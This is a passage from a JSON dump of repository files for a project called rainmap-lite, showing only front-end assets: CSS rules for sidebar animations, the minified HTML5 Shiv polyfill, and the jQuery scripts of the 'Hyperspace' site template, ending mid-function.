relative;\n\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:first-child {\n\t\t\t\t\tmargin: 0;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(1) {\n\t\t\t\t\t-moz-transition-delay: 0.45s;\n\t\t\t\t\t-webkit-transition-delay: 0.45s;\n\t\t\t\t\t-ms-transition-delay: 0.45s;\n\t\t\t\t\ttransition-delay: 0.45s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(2) {\n\t\t\t\t\t-moz-transition-delay: 0.65s;\n\t\t\t\t\t-webkit-transition-delay: 0.65s;\n\t\t\t\t\t-ms-transition-delay: 0.65s;\n\t\t\t\t\ttransition-delay: 0.65s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(3) {\n\t\t\t\t\t-moz-transition-delay: 0.85s;\n\t\t\t\t\t-webkit-transition-delay: 0.85s;\n\t\t\t\t\t-ms-transition-delay: 0.85s;\n\t\t\t\t\ttransition-delay: 0.85s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(4) {\n\t\t\t\t\t-moz-transition-delay: 1.05s;\n\t\t\t\t\t-webkit-transition-delay: 1.05s;\n\t\t\t\t\t-ms-transition-delay: 1.05s;\n\t\t\t\t\ttransition-delay: 1.05s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(5) {\n\t\t\t\t\t-moz-transition-delay: 1.25s;\n\t\t\t\t\t-webkit-transition-delay: 1.25s;\n\t\t\t\t\t-ms-transition-delay: 1.25s;\n\t\t\t\t\ttransition-delay: 1.25s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(6) {\n\t\t\t\t\t-moz-transition-delay: 1.45s;\n\t\t\t\t\t-webkit-transition-delay: 1.45s;\n\t\t\t\t\t-ms-transition-delay: 1.45s;\n\t\t\t\t\ttransition-delay: 1.45s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(7) {\n\t\t\t\t\t-moz-transition-delay: 1.65s;\n\t\t\t\t\t-webkit-transition-delay: 1.65s;\n\t\t\t\t\t-ms-transition-delay: 1.65s;\n\t\t\t\t\ttransition-delay: 1.65s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(8) {\n\t\t\t\t\t-moz-transition-delay: 1.85s;\n\t\t\t\t\t-webkit-transition-delay: 1.85s;\n\t\t\t\t\t-ms-transition-delay: 1.85s;\n\t\t\t\t\ttransition-delay: 1.85s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(9) {\n\t\t\t\t\t-moz-transition-delay: 2.05s;\n\t\t\t\t\t-webkit-transition-delay: 2.05s;\n\t\t\t\t\t-ms-transition-delay: 2.05s;\n\t\t\t\t\ttransition-delay: 2.05s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(10) {\n\t\t\t\t\t-moz-transition-delay: 2.25s;\n\t\t\t\t\t-webkit-transition-delay: 2.25s;\n\t\t\t\t\t-ms-transition-delay: 2.25s;\n\t\t\t\t\ttransition-delay: 2.25s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(11) {\n\t\t\t\t\t-moz-transition-delay: 2.45s;\n\t\t\t\t\t-webkit-transition-delay: 2.45s;\n\t\t\t\t\t-ms-transition-delay: 2.45s;\n\t\t\t\t\ttransition-delay: 2.45s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(12) {\n\t\t\t\t\t-moz-transition-delay: 2.65s;\n\t\t\t\t\t-webkit-transition-delay: 2.65s;\n\t\t\t\t\t-ms-transition-delay: 2.65s;\n\t\t\t\t\ttransition-delay: 2.65s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(13) {\n\t\t\t\t\t-moz-transition-delay: 2.85s;\n\t\t\t\t\t-webkit-transition-delay: 2.85s;\n\t\t\t\t\t-ms-transition-delay: 2.85s;\n\t\t\t\t\ttransition-delay: 2.85s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(14) {\n\t\t\t\t\t-moz-transition-delay: 3.05s;\n\t\t\t\t\t-webkit-transition-delay: 3.05s;\n\t\t\t\t\t-ms-transition-delay: 3.05s;\n\t\t\t\t\ttransition-delay: 3.05s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(15) {\n\t\t\t\t\t-moz-transition-delay: 3.25s;\n\t\t\t\t\t-webkit-transition-delay: 3.25s;\n\t\t\t\t\t-ms-transition-delay: 3.25s;\n\t\t\t\t\ttransition-delay: 3.25s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(16) {\n\t\t\t\t\t-moz-transition-delay: 3.45s;\n\t\t\t\t\t-webkit-transition-delay: 3.45s;\n\t\t\t\t\t-ms-transition-delay: 3.45s;\n\t\t\t\t\ttransition-delay: 3.45s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(17) {\n\t\t\t\t\t-moz-transition-delay: 3.65s;\n\t\t\t\t\t-webkit-transition-delay: 3.65s;\n\t\t\t\t\t-ms-transition-delay: 3.65s;\n\t\t\t\t\ttransition-delay: 3.65s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(18) {\n\t\t\t\t\t-moz-transition-delay: 3.85s;\n\t\t\t\t\t-webkit-transition-delay: 3.85s;\n\t\t\t\t\t-ms-transition-delay: 3.85s;\n\t\t\t\t\ttransition-delay: 3.85s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(19) {\n\t\t\t\t\t-moz-transition-delay: 4.05s;\n\t\t\t\t\t-webkit-transition-delay: 4.05s;\n\t\t\t\t\t-ms-transition-delay: 4.05s;\n\t\t\t\t\ttransition-delay: 4.05s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(20) {\n\t\t\t\t\t-moz-transition-delay: 4.25s;\n\t\t\t\t\t-webkit-transition-delay: 4.25s;\n\t\t\t\t\t-ms-transition-delay: 4.25s;\n\t\t\t\t\ttransition-delay: 4.25s;\n\t\t\t\t}\n\n\t\t#sidebar nav a {\n\t\t\t-moz-transition: color 0.2s ease;\n\t\t\t-webkit-transition: color 0.2s ease;\n\t\t\t-ms-transition: color 0.2s ease;\n\t\t\ttransition: color 0.2s ease;\n\t\t\tborder: 0;\n\t\t\tcolor: rgba(255, 255, 255, 0.35);\n\t\t\tdisplay: block;\n\t\t\tfont-size: 0.6em;\n\t\t\tfont-weight: bold;\n\t\t\tletter-spacing: 0.25em;\n\t\t\tline-height: 1.75;\n\t\t\toutline: 0;\n\t\t\tpadding: 1.35em 0;\n\t\t\tposition: relative;\n\t\t\ttext-decoration: none;\n\t\t\ttext-transform: uppercase;\n\t\t}\n\n\t\t\t#sidebar nav a:before, #sidebar nav a:after {\n\t\t\t\tborder-radius: 0.2em;\n\t\t\t\tbottom: 0;\n\t\t\t\tcontent: '';\n\t\t\t\theight: 0.2em;\n\t\t\t\tposition: absolute;\n\t\t\t\tright: 0;\n\t\t\t\twidth: 100%;\n\t\t\t}\n\n\t\t\t#sidebar nav a:before {\n\t\t\t\tbackground: #3c2c62;\n\t\t\t}\n\n\t\t\t#sidebar nav a:after {\n\t\t\t\tbackground-image: -moz-linear-gradient(to right, #5e42a6, #b74e91);\n\t\t\t\tbackground-image: -webkit-linear-gradient(to right, #5e42a6, #b74e91);\n\t\t\t\tbackground-image: -ms-linear-gradient(to right, #5e42a6, #b74e91);\n\t\t\t\tbackground-image: linear-gradient(to right, #5e42a6, #b74e91);\n\t\t\t\t-moz-transition: max-width 0.2s ease;\n\t\t\t\t-webkit-transition: max-width 0.2s ease;\n\t\t\t\t-ms-transition: max-width 0.2s ease;\n\t\t\t\ttransition: max-width 0.2s ease;\n\t\t\t\tmax-width: 0;\n\t\t\t}\n\n\t\t\t#sidebar nav a:hover {\n\t\t\t\tcolor: rgba(255, 255, 255, 0.55);\n\t\t\t}\n\n\t\t\t#sidebar nav a.active {\n\t\t\t\tcolor: #ffffff;\n\t\t\t}\n\n\t\t\t\t#sidebar nav a.active:after {\n\t\t\t\t\tmax-width: 100%;\n\t\t\t\t}\n\n\t\tbody.is-loading #sidebar > .inner {\n\t\t\topacity: 0;\n\t\t}\n\n\t\tbody.is-loading #sidebar nav ul li {\n\t\t\t-moz-transform: translateY(2em);\n\t\t\t-webkit-transform: translateY(2em);\n\t\t\t-ms-transform: translateY(2em);\n\t\t\ttransform: translateY(2em);\n\t\t\topacity: 0;\n\t\t}\n\n\t\t@media screen and (max-width: 1280px) {\n\n\t\t\t#sidebar {\n\t\t\t\theight: 3.5em;\n\t\t\t\tleft: 0;\n\t\t\t\tline-height: 3.5em;\n\t\t\t\toverflow: hidden;\n\t\t\t\tpadding: 0;\n\t\t\t\ttext-align: center;\n\t\t\t\ttop: 0;\n\t\t\t\twidth: 100%;\n\t\t\t}\n\n\t\t\t\t#sidebar > .inner {\n\t\t\t\t\t-moz-flex-direction: row;\n\t\t\t\t\t-webkit-flex-direction: row;\n\t\t\t\t\t-ms-flex-direction: row;\n\t\t\t\t\tflex-direction: row;\n\t\t\t\t\t-moz-align-items: stretch;\n\t\t\t\t\t-webkit-align-items: stretch;\n\t\t\t\t\t-ms-align-items: stretch;\n\t\t\t\t\talign-items: stretch;\n\t\t\t\t\theight: inherit;\n\t\t\t\t\tline-height: inherit;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav {\n\t\t\t\t\theight: inherit;\n\t\t\t\t\tline-height: inherit;\n\t\t\t\t}\n\n\t\t\t\t\t#sidebar nav ul {\n\t\t\t\t\t\tdisplay: -moz-flex;\n\t\t\t\t\t\tdisplay: -webkit-flex;\n\t\t\t\t\t\tdisplay: -ms-flex;\n\t\t\t\t\t\tdisplay: flex;\n\t\t\t\t\t\theight: inherit;\n\t\t\t\t\t\tline-height: inherit;\n\t\t\t\t\t\tmargin: 0;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t#sidebar nav ul li {\n\t\t\t\t\t\t\tdisplay: block;\n\t\t\t\t\t\t\theight: inherit;\n\t\t\t\t\t\t\tline-height: inherit;\n\t\t\t\t\t\t\tmargin: 0 0 0 2em;\n\t\t\t\t\t\t\tpadding: 0;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t#sidebar nav a {\n\t\t\t\t\t\theight: inherit;\n\t\t\t\t\t\tline-height: inherit;\n\t\t\t\t\t\tpadding: 0;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t#sidebar nav a:after {\n\t\t\t\t\t\t\tbackground-image: none;\n\t\t\t\t\t\t\tbackground-color: #b74e91;\n\t\t\t\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 736px) {\n\n\t\t\t#sidebar {\n\t\t\t\tdisplay: none;\n\t\t\t}\n\n\t\t}\n\n/* Intro */\n\n\t#intro {\n\t\tbackground-attachment: fixed;\n\t\tbackground-image: url(\"images/intro.svg\");\n\t\tbackground-position: top right;\n\t\tbackground-repeat: no-repeat;\n\t\tbackground-size: 100% 100%;\n\t}\n\n\t\t#intro p {\n\t\t\tfont-size: 1.25em;\n\t\t}\n\n\t\t\t@media screen and (max-width: 980px) {\n\n\t\t\t\t#intro p br {\n\t\t\t\t\tdisplay: none;\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\t@media screen and (max-width: 736px) {\n\n\t\t\t\t#intro p {\n\t\t\t\t\tfont-size: 1em;\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t@media screen and (max-width: 1280px) {\n\n\t\t\t#intro {\n\t\t\t\tbackground-attachment: scroll;\n\t\t\t}\n\n\t\t}"
  },
  {
    "path": "rainmap-lite/nmaper/static/js/ie/html5shiv.js",
    "content": "/*\n HTML5 Shiv v3.6.2 | @afarkas @jdalton @jon_neal @rem | MIT/GPL2 Licensed\n*/\n(function(l,f){function m(){var a=e.elements;return\"string\"==typeof a?a.split(\" \"):a}function i(a){var b=n[a[o]];b||(b={},h++,a[o]=h,n[h]=b);return b}function p(a,b,c){b||(b=f);if(g)return b.createElement(a);c||(c=i(b));b=c.cache[a]?c.cache[a].cloneNode():r.test(a)?(c.cache[a]=c.createElem(a)).cloneNode():c.createElem(a);return b.canHaveChildren&&!s.test(a)?c.frag.appendChild(b):b}function t(a,b){if(!b.cache)b.cache={},b.createElem=a.createElement,b.createFrag=a.createDocumentFragment,b.frag=b.createFrag();\na.createElement=function(c){return!e.shivMethods?b.createElem(c):p(c,a,b)};a.createDocumentFragment=Function(\"h,f\",\"return function(){var n=f.cloneNode(),c=n.createElement;h.shivMethods&&(\"+m().join().replace(/\\w+/g,function(a){b.createElem(a);b.frag.createElement(a);return'c(\"'+a+'\")'})+\");return n}\")(e,b.frag)}function q(a){a||(a=f);var b=i(a);if(e.shivCSS&&!j&&!b.hasCSS){var c,d=a;c=d.createElement(\"p\");d=d.getElementsByTagName(\"head\")[0]||d.documentElement;c.innerHTML=\"x<style>article,aside,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}mark{background:#FF0;color:#000}</style>\";\nc=d.insertBefore(c.lastChild,d.firstChild);b.hasCSS=!!c}g||t(a,b);return a}var k=l.html5||{},s=/^<|^(?:button|map|select|textarea|object|iframe|option|optgroup)$/i,r=/^(?:a|b|code|div|fieldset|h1|h2|h3|h4|h5|h6|i|label|li|ol|p|q|span|strong|style|table|tbody|td|th|tr|ul)$/i,j,o=\"_html5shiv\",h=0,n={},g;(function(){try{var a=f.createElement(\"a\");a.innerHTML=\"<xyz></xyz>\";j=\"hidden\"in a;var b;if(!(b=1==a.childNodes.length)){f.createElement(\"a\");var c=f.createDocumentFragment();b=\"undefined\"==typeof c.cloneNode||\n\"undefined\"==typeof c.createDocumentFragment||\"undefined\"==typeof c.createElement}g=b}catch(d){g=j=!0}})();var e={elements:k.elements||\"abbr article aside audio bdi canvas data datalist details figcaption figure footer header hgroup main mark meter nav output progress section summary time video\",version:\"3.6.2\",shivCSS:!1!==k.shivCSS,supportsUnknownElements:g,shivMethods:!1!==k.shivMethods,type:\"default\",shivDocument:q,createElement:p,createDocumentFragment:function(a,b){a||(a=f);if(g)return a.createDocumentFragment();\nfor(var b=b||i(a),c=b.frag.cloneNode(),d=0,e=m(),h=e.length;d<h;d++)c.createElement(e[d]);return c}};l.html5=e;q(f)})(this,document);\n"
  },
  {
    "path": "rainmap-lite/nmaper/static/js/main.js",
    "content": "/*\r\n\tHyperspace by HTML5 UP\r\n\thtml5up.net | @n33co\r\n\tFree for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n*/\r\n\r\n(function($) {\r\n\r\n\tskel.breakpoints({\r\n\t\txlarge:\t'(max-width: 1680px)',\r\n\t\tlarge:\t'(max-width: 1280px)',\r\n\t\tmedium:\t'(max-width: 980px)',\r\n\t\tsmall:\t'(max-width: 736px)',\r\n\t\txsmall:\t'(max-width: 480px)'\r\n\t});\r\n\r\n\t$(function() {\r\n\r\n\t\tvar\t$window = $(window),\r\n\t\t\t$body = $('body'),\r\n\t\t\t$sidebar = $('#sidebar');\r\n\r\n\t\t// Hack: Enable IE flexbox workarounds.\r\n\t\t\tif (skel.vars.IEVersion < 12)\r\n\t\t\t\t$body.addClass('is-ie');\r\n\r\n\t\t// Disable animations/transitions until the page has loaded.\r\n\t\t\tif (skel.canUse('transition'))\r\n\t\t\t\t$body.addClass('is-loading');\r\n\r\n\t\t\t$window.on('load', function() {\r\n\t\t\t\twindow.setTimeout(function() {\r\n\t\t\t\t\t$body.removeClass('is-loading');\r\n\t\t\t\t}, 100);\r\n\t\t\t});\r\n\r\n\t\t// Forms.\r\n\r\n\t\t\t// Fix: Placeholder polyfill.\r\n\t\t\t\t$('form').placeholder();\r\n\r\n\t\t\t// Hack: Activate non-input submits.\r\n\t\t\t\t$('form').on('click', '.submit', function(event) {\r\n\r\n\t\t\t\t\t// Stop propagation, default.\r\n\t\t\t\t\t\tevent.stopPropagation();\r\n\t\t\t\t\t\tevent.preventDefault();\r\n\r\n\t\t\t\t\t// Submit form.\r\n\t\t\t\t\t\t$(this).parents('form').submit();\r\n\r\n\t\t\t\t});\r\n\r\n\t\t// Prioritize \"important\" elements on medium.\r\n\t\t\tskel.on('+medium -medium', function() {\r\n\t\t\t\t$.prioritize(\r\n\t\t\t\t\t'.important\\\\28 medium\\\\29',\r\n\t\t\t\t\tskel.breakpoint('medium').active\r\n\t\t\t\t);\r\n\t\t\t});\r\n\r\n\t\t// Sidebar.\r\n\t\t\tif ($sidebar.length > 0) {\r\n\r\n\t\t\t\tvar $sidebar_a = $sidebar.find('a');\r\n\r\n\t\t\t\t$sidebar_a\r\n\t\t\t\t\t.addClass('scrolly')\r\n\t\t\t\t\t.on('click', function() {\r\n\r\n\t\t\t\t\t\tvar $this = $(this);\r\n\r\n\t\t\t\t\t\t// External link? Bail.\r\n\t\t\t\t\t\t\tif ($this.attr('href').charAt(0) != '#')\r\n\t\t\t\t\t\t\t\treturn;\r\n\r\n\t\t\t\t\t\t// Deactivate all links.\r\n\t\t\t\t\t\t\t$sidebar_a.removeClass('active');\r\n\r\n\t\t\t\t\t\t// Activate link *and* lock it (so Scrollex doesn't try to activate other links as we're scrolling to this one's section).\r\n\t\t\t\t\t\t\t$this\r\n\t\t\t\t\t\t\t\t.addClass('active')\r\n\t\t\t\t\t\t\t\t.addClass('active-locked');\r\n\r\n\t\t\t\t\t})\r\n\t\t\t\t\t.each(function() {\r\n\r\n\t\t\t\t\t\tvar\t$this = $(this),\r\n\t\t\t\t\t\t\tid = $this.attr('href'),\r\n\t\t\t\t\t\t\t$section = $(id);\r\n\r\n\t\t\t\t\t\t// No section for this link? Bail.\r\n\t\t\t\t\t\t\tif ($section.length < 1)\r\n\t\t\t\t\t\t\t\treturn;\r\n\r\n\t\t\t\t\t\t// Scrollex.\r\n\t\t\t\t\t\t\t$section.scrollex({\r\n\t\t\t\t\t\t\t\tmode: 'middle',\r\n\t\t\t\t\t\t\t\ttop: '-20vh',\r\n\t\t\t\t\t\t\t\tbottom: '-20vh',\r\n\t\t\t\t\t\t\t\tinitialize: function() {\r\n\r\n\t\t\t\t\t\t\t\t\t// Deactivate section.\r\n\t\t\t\t\t\t\t\t\t\tif (skel.canUse('transition'))\r\n\t\t\t\t\t\t\t\t\t\t\t$section.addClass('inactive');\r\n\r\n\t\t\t\t\t\t\t\t},\r\n\t\t\t\t\t\t\t\tenter: function() {\r\n\r\n\t\t\t\t\t\t\t\t\t// Activate section.\r\n\t\t\t\t\t\t\t\t\t\t$section.removeClass('inactive');\r\n\r\n\t\t\t\t\t\t\t\t\t// No locked links? Deactivate all links and activate this section's one.\r\n\t\t\t\t\t\t\t\t\t\tif ($sidebar_a.filter('.active-locked').length == 0) {\r\n\r\n\t\t\t\t\t\t\t\t\t\t\t$sidebar_a.removeClass('active');\r\n\t\t\t\t\t\t\t\t\t\t\t$this.addClass('active');\r\n\r\n\t\t\t\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t\t\t\t// Otherwise, if this section's link is the one that's locked, unlock it.\r\n\t\t\t\t\t\t\t\t\t\telse if ($this.hasClass('active-locked'))\r\n\t\t\t\t\t\t\t\t\t\t\t$this.removeClass('active-locked');\r\n\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t});\r\n\r\n\t\t\t\t\t});\r\n\r\n\t\t\t}\r\n\r\n\t\t// Scrolly.\r\n\t\t\t$('.scrolly').scrolly({\r\n\t\t\t\tspeed: 1000,\r\n\t\t\t\toffset: function() {\r\n\r\n\t\t\t\t\t// If <=large, >small, and sidebar is present, use its height as the offset.\r\n\t\t\t\t\t\tif (skel.breakpoint('large').active\r\n\t\t\t\t\t\t&&\t!skel.breakpoint('small').active\r\n\t\t\t\t\t\t&&\t$sidebar.length > 0)\r\n\t\t\t\t\t\t\treturn $sidebar.height();\r\n\r\n\t\t\t\t\treturn 0;\r\n\r\n\t\t\t\t}\r\n\t\t\t});\r\n\r\n\t\t// Spotlights.\r\n\t\t\t$('.spotlights > section')\r\n\t\t\t\t.scrollex({\r\n\t\t\t\t\tmode: 'middle',\r\n\t\t\t\t\ttop: '-10vh',\r\n\t\t\t\t\tbottom: '-10vh',\r\n\t\t\t\t\tinitialize: function() {\r\n\r\n\t\t\t\t\t\t// Deactivate section.\r\n\t\t\t\t\t\t\tif (skel.canUse('transition'))\r\n\t\t\t\t\t\t\t\t$(this).addClass('inactive');\r\n\r\n\t\t\t\t\t},\r\n\t\t\t\t\tenter: function() {\r\n\r\n\t\t\t\t\t\t// Activate section.\r\n\t\t\t\t\t\t\t$(this).removeClass('inactive');\r\n\r\n\t\t\t\t\t}\r\n\t\t\t\t})\r\n\t\t\t\t.each(function() {\r\n\r\n\t\t\t\t\tvar\t$this = $(this),\r\n\t\t\t\t\t\t$image = $this.find('.image'),\r\n\t\t\t\t\t\t$img = $image.find('img'),\r\n\t\t\t\t\t\tx;\r\n\r\n\t\t\t\t\t// Assign image.\r\n\t\t\t\t\t\t$image.css('background-image', 'url(' + $img.attr('src') + ')');\r\n\r\n\t\t\t\t\t// Set background position.\r\n\t\t\t\t\t\tif (x = $img.data('position'))\r\n\t\t\t\t\t\t\t$image.css('background-position', x);\r\n\r\n\t\t\t\t\t// Hide <img>.\r\n\t\t\t\t\t\t$img.hide();\r\n\r\n\t\t\t\t});\r\n\r\n\t\t// Features.\r\n\t\t\tif (skel.canUse('transition'))\r\n\t\t\t\t$('.features')\r\n\t\t\t\t\t.scrollex({\r\n\t\t\t\t\t\tmode: 'middle',\r\n\t\t\t\t\t\ttop: '-20vh',\r\n\t\t\t\t\t\tbottom: '-20vh',\r\n\t\t\t\t\t\tinitialize: function() {\r\n\r\n\t\t\t\t\t\t\t// Deactivate section.\r\n\t\t\t\t\t\t\t\t$(this).addClass('inactive');\r\n\r\n\t\t\t\t\t\t},\r\n\t\t\t\t\t\tenter: function() {\r\n\r\n\t\t\t\t\t\t\t// Activate section.\r\n\t\t\t\t\t\t\t\t$(this).removeClass('inactive');\r\n\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t});\r\n\r\n\t});\r\n\r\n})(jQuery);"
  },
  {
    "path": "rainmap-lite/nmaper/static/js/util.js",
    "content": "(function($) {\r\n\r\n\t/**\r\n\t * Generate an indented list of links from a nav. Meant for use with panel().\r\n\t * @return {jQuery} jQuery object.\r\n\t */\r\n\t$.fn.navList = function() {\r\n\r\n\t\tvar\t$this = $(this);\r\n\t\t\t$a = $this.find('a'),\r\n\t\t\tb = [];\r\n\r\n\t\t$a.each(function() {\r\n\r\n\t\t\tvar\t$this = $(this),\r\n\t\t\t\tindent = Math.max(0, $this.parents('li').length - 1),\r\n\t\t\t\thref = $this.attr('href'),\r\n\t\t\t\ttarget = $this.attr('target');\r\n\r\n\t\t\tb.push(\r\n\t\t\t\t'<a ' +\r\n\t\t\t\t\t'class=\"link depth-' + indent + '\"' +\r\n\t\t\t\t\t( (typeof target !== 'undefined' && target != '') ? ' target=\"' + target + '\"' : '') +\r\n\t\t\t\t\t( (typeof href !== 'undefined' && href != '') ? ' href=\"' + href + '\"' : '') +\r\n\t\t\t\t'>' +\r\n\t\t\t\t\t'<span class=\"indent-' + indent + '\"></span>' +\r\n\t\t\t\t\t$this.text() +\r\n\t\t\t\t'</a>'\r\n\t\t\t);\r\n\r\n\t\t});\r\n\r\n\t\treturn b.join('');\r\n\r\n\t};\r\n\r\n\t/**\r\n\t * Panel-ify an element.\r\n\t * @param {object} userConfig User config.\r\n\t * @return {jQuery} jQuery object.\r\n\t */\r\n\t$.fn.panel = function(userConfig) {\r\n\r\n\t\t// No elements?\r\n\t\t\tif (this.length == 0)\r\n\t\t\t\treturn $this;\r\n\r\n\t\t// Multiple elements?\r\n\t\t\tif (this.length > 1) {\r\n\r\n\t\t\t\tfor (var i=0; i < this.length; i++)\r\n\t\t\t\t\t$(this[i]).panel(userConfig);\r\n\r\n\t\t\t\treturn $this;\r\n\r\n\t\t\t}\r\n\r\n\t\t// Vars.\r\n\t\t\tvar\t$this = $(this),\r\n\t\t\t\t$body = $('body'),\r\n\t\t\t\t$window = $(window),\r\n\t\t\t\tid = $this.attr('id'),\r\n\t\t\t\tconfig;\r\n\r\n\t\t// Config.\r\n\t\t\tconfig = $.extend({\r\n\r\n\t\t\t\t// Delay.\r\n\t\t\t\t\tdelay: 0,\r\n\r\n\t\t\t\t// Hide panel on link click.\r\n\t\t\t\t\thideOnClick: false,\r\n\r\n\t\t\t\t// Hide panel on escape keypress.\r\n\t\t\t\t\thideOnEscape: false,\r\n\r\n\t\t\t\t// Hide panel on swipe.\r\n\t\t\t\t\thideOnSwipe: false,\r\n\r\n\t\t\t\t// Reset scroll position on hide.\r\n\t\t\t\t\tresetScroll: false,\r\n\r\n\t\t\t\t// Reset forms on hide.\r\n\t\t\t\t\tresetForms: false,\r\n\r\n\t\t\t\t// Side of viewport the panel will appear.\r\n\t\t\t\t\tside: null,\r\n\r\n\t\t\t\t// Target element for \"class\".\r\n\t\t\t\t\ttarget: $this,\r\n\r\n\t\t\t\t// Class to toggle.\r\n\t\t\t\t\tvisibleClass: 'visible'\r\n\r\n\t\t\t}, userConfig);\r\n\r\n\t\t\t// Expand \"target\" if it's not a jQuery object already.\r\n\t\t\t\tif (typeof config.target != 'jQuery')\r\n\t\t\t\t\tconfig.target = $(config.target);\r\n\r\n\t\t// Panel.\r\n\r\n\t\t\t// Methods.\r\n\t\t\t\t$this._hide = function(event) {\r\n\r\n\t\t\t\t\t// Already hidden? Bail.\r\n\t\t\t\t\t\tif (!config.target.hasClass(config.visibleClass))\r\n\t\t\t\t\t\t\treturn;\r\n\r\n\t\t\t\t\t// If an event was provided, cancel it.\r\n\t\t\t\t\t\tif (event) {\r\n\r\n\t\t\t\t\t\t\tevent.preventDefault();\r\n\t\t\t\t\t\t\tevent.stopPropagation();\r\n\r\n\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t// Hide.\r\n\t\t\t\t\t\tconfig.target.removeClass(config.visibleClass);\r\n\r\n\t\t\t\t\t// Post-hide stuff.\r\n\t\t\t\t\t\twindow.setTimeout(function() {\r\n\r\n\t\t\t\t\t\t\t// Reset scroll position.\r\n\t\t\t\t\t\t\t\tif (config.resetScroll)\r\n\t\t\t\t\t\t\t\t\t$this.scrollTop(0);\r\n\r\n\t\t\t\t\t\t\t// Reset forms.\r\n\t\t\t\t\t\t\t\tif (config.resetForms)\r\n\t\t\t\t\t\t\t\t\t$this.find('form').each(function() {\r\n\t\t\t\t\t\t\t\t\t\tthis.reset();\r\n\t\t\t\t\t\t\t\t\t});\r\n\r\n\t\t\t\t\t\t}, config.delay);\r\n\r\n\t\t\t\t};\r\n\r\n\t\t\t// Vendor fixes.\r\n\t\t\t\t$this\r\n\t\t\t\t\t.css('-ms-overflow-style', '-ms-autohiding-scrollbar')\r\n\t\t\t\t\t.css('-webkit-overflow-scrolling', 'touch');\r\n\r\n\t\t\t// Hide on click.\r\n\t\t\t\tif (config.hideOnClick) {\r\n\r\n\t\t\t\t\t$this.find('a')\r\n\t\t\t\t\t\t.css('-webkit-tap-highlight-color', 'rgba(0,0,0,0)');\r\n\r\n\t\t\t\t\t$this\r\n\t\t\t\t\t\t.on('click', 'a', function(event) {\r\n\r\n\t\t\t\t\t\t\tvar $a = $(this),\r\n\t\t\t\t\t\t\t\thref = $a.attr('href'),\r\n\t\t\t\t\t\t\t\ttarget = $a.attr('target');\r\n\r\n\t\t\t\t\t\t\tif (!href || href == '#' || href == '' || href == '#' + id)\r\n\t\t\t\t\t\t\t\treturn;\r\n\r\n\t\t\t\t\t\t\t// Cancel original event.\r\n\t\t\t\t\t\t\t\tevent.preventDefault();\r\n\t\t\t\t\t\t\t\tevent.stopPropagation();\r\n\r\n\t\t\t\t\t\t\t// Hide panel.\r\n\t\t\t\t\t\t\t\t$this._hide();\r\n\r\n\t\t\t\t\t\t\t// Redirect to href.\r\n\t\t\t\t\t\t\t\twindow.setTimeout(function() {\r\n\r\n\t\t\t\t\t\t\t\t\tif (target == '_blank')\r\n\t\t\t\t\t\t\t\t\t\twindow.open(href);\r\n\t\t\t\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\t\t\t\twindow.location.href = href;\r\n\r\n\t\t\t\t\t\t\t\t}, config.delay + 10);\r\n\r\n\t\t\t\t\t\t});\r\n\r\n\t\t\t\t}\r\n\r\n\t\t\t// Event: Touch stuff.\r\n\t\t\t\t$this.on('touchstart', function(event) {\r\n\r\n\t\t\t\t\t$this.touchPosX = event.originalEvent.touches[0].pageX;\r\n\t\t\t\t\t$this.touchPosY = event.originalEvent.touches[0].pageY;\r\n\r\n\t\t\t\t})\r\n\r\n\t\t\t\t$this.on('touchmove', function(event) {\r\n\r\n\t\t\t\t\tif ($this.touchPosX === null\r\n\t\t\t\t\t||\t$this.touchPosY === null)\r\n\t\t\t\t\t\treturn;\r\n\r\n\t\t\t\t\tvar\tdiffX = $this.touchPosX - event.originalEvent.touches[0].pageX,\r\n\t\t\t\t\t\tdiffY = $this.touchPosY - event.originalEvent.touches[0].pageY,\r\n\t\t\t\t\t\tth = $this.outerHeight(),\r\n\t\t\t\t\t\tts = ($this.get(0).scrollHeight - $this.scrollTop());\r\n\r\n\t\t\t\t\t// Hide on swipe?\r\n\t\t\t\t\t\tif (config.hideOnSwipe) {\r\n\r\n\t\t\t\t\t\t\tvar result = false,\r\n\t\t\t\t\t\t\t\tboundary = 20,\r\n\t\t\t\t\t\t\t\tdelta = 50;\r\n\r\n\t\t\t\t\t\t\tswitch (config.side) {\r\n\r\n\t\t\t\t\t\t\t\tcase 